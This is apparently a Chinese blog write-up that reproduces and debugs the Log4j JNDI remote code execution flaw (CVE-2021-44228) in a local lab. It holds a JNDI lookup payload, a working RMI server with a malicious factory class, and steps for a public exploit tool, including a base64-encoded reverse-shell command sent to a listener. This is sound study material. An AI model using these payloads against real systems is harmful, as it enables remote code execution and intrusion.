原理

Log4j的lookup功能——本次漏洞是因为Log4j2组件中 lookup功能的实现类 JndiLookup 的设计缺陷导致,这个类存在于log4j-core-xxx.jar

image-20230223135531795

在使用RMI之前,我们需要把被调用的类,注册到一个叫做RMI Registry的地方,只有把类注册到这个地方,调用者就能通过RMI Registry找到类所在 JVM 的 ip 和 port,才能跨越JVM完成远程方法的调用

调用者,我们称之为客户端,被调用者,我们则称之为服务端

RMI Registry,我们又叫它为RMI注册中心,它是一个独立的服务,但是,它又可以与服务端存在于同一个JVM内,而RMI Registry服务的创建非常的简单,仅需 LocateRegistry.createRegistry(12345); 一行代码即可完成

在服务器启动的时候,就启动了一个RMI的注册中心,接着把main主类暴露并注册到RMI注册中心,其中存储着主类的stub数据,包含有其所在服务器的ip和port。在客户端启动之后,通过连接RMI注册中心,并从其中根据名称查询到了对应的对象(JNDI),并把其数据下载到本地,然后RMI会根据stub存储的信息,也就是服务端中main实现暴露的ip和port,最后发起RMI请求,RMI后,服务端把序列化数据返回给客户端,客户端对其反序列化后输出

根据上述所说的流程,我们可以发现,如果要发起一个反序列化攻击,那么早在客户端 lookup的时候,就会从Registry注册中心下载数据,前面也说了“服务名称和对象或命名引用相关联”,我们就可以通过服务器 bind注册一个命名引用到Registry注册中心,也就是Reference,它具有三个参数,className、factory、classFactoryLocation,当客户端 lookup它并下载到本地后,会使用Reference的classFactoryLocation指定的地址去下载className指定class文件,接着加载并实例化,从而在客户端lookup的时候实现加载远程恶意class实现RCE

搭建复现环境

新建maven项目,引入依赖(客户端)

image-20230223144438403

编写一个最简单的测试类, demo:

image-20230223145757704
1
${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}

rmi服务端

image-20230224094009604

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiServer3 {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(12345);
Reference reference = new Reference("Hello","Hello","http://127.0.0.1:8080/");
ReferenceWrapper referencewrapper = new ReferenceWrapper(reference);
registry.bind("obj",referencewrapper);
}
}

image-20230224093852137

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Hello implements ObjectFactory {
public static void main(String[] args) {
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println("Hello");
Runtime.getRuntime().exec("calc");
return null;
}
}

rmi客户端

若版本高于8u221,要加上这两句话

1
2
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

image-20230224094901301

1
2
3
4
5
6
7
8
9
10
11
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class RmiClient {
public static void main(String[] args) throws NamingException {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:12345/obj");
}
}

image-20230224094938506

1
2
3
4
5
6
7
8
9
10
11
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTest {
public static void main(String[] args){
Logger logger=LogManager.getLogger();
System.setProperty("com.sun.ldap.jndi.object.trustURLCodebase","true");
System.setProperty("com.sun.ldap.rmi.object.trustURLCodebase","true");
logger.error("rmi://127.0.0.1:12345/obj");
}
}

执行过程

编译 Hello.java 为 .class文件(记得系统环境变量里的java版本要对应!踩坑了找了好久是什么问题),同时开启web服务(用idea里的tomcat或者python都可以)

image-20230224093336109

成功执行

image-20230224093423590 image-20230224094800175

利用工具

https://github.com/welk1n/JNDI-Injection-Exploit

安装

1
2
3
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
cd JNDI-Injection-Exploit
mvn clean package -DskipTests

接下来就会生成一个 .jar文件

image-20230225084329496

接着利用工具开启服务

1
2
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+IC9kZXYvdGNwLzE5Mi4xNjguMjQ1LjEvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" -A  "192.168.245.1"
// -C后面接的是传递给Runtime.getRuntime().exec()的参数 比如-C "calc",后面无其他参数

那串base64是反弹shell命令 bash -i > /dev/tcp/127.0.0.1/8888 0>&1 自行更改

image-20230225084747373

本地开启nc 监听 nc -Lvvp 8888 反弹shell我貌似成功不了

image-20230225090400979

利用生成的rmi服务即可直接在客户端复现,无需自己搭建服务端

image-20230225090332915 image-20230225090506946

动态调试分析

从客户端的lookup函数出发

img

F7进入寻找其定义

img

再按F7找到函数定义

img

这里的var2基本就是得到主机,端口,还有绑定的对象的名字

img

跟进var3.lookup,可以看到lookup找到了注册中心的stub数据

img

跟进decodeObject函数,发现了加载了远程Reference绑定的恶意对象。我们的远程对象是ReferenceWrapper类的对象,也就是我们在Server构造的对象Reference reference = new Reference("swswssw", "swswssw", "http://127.0.0.1:8080/");

img

跟进返回的getObjectInstance函数

img

持续步过,发现注册中心找到了恶意类swswssw,并赋值给ref

img

ref不为空,进入关键函数getObjectFactoryFromReference

img

先直接加载类clas = helper.loadClass(factoryName);,这里是正常的本地类加载,因为找不到swswssw类所以会加载失败

img

上面分析没有问题,找不到swswssw所以clas为空

img

我们注意到codebase,其值就是远程URL

img

跟进此时的类加载器,因为指定了codebase,这次用的类加载器将是URLClassLoader

img

返回值最后会在此处加载,调用Class.forName并制定了类加载来加载类,这样可以加载到swswssw。Class.forName加载类且第二个参数是true(默认也是true)会进行类的加载,也就是静态代码块。因此这时候静态代码块的代码可以执行。

img

这样函数返回值赋予clas,其为swswssw;返回函数调用它的newInstance(),从而调用了无参构造器,执行了无参构造器里面的代码,这也是为什么我们把恶意代码写到无参构造器里面的原因。

img

这样,如果得到了对象且成功转换成了ObjectFactory,就会调用getObjectInstance方法,这也是为什么可以把代码写到getObjectInstance方法的原因。

img

此时开始执行恶意类中的恶意代码,首先打印

img

然后执行命令

img

参考文章:CVE-2021-44228 Apache Log4j 远程代码执行漏洞 复现与分析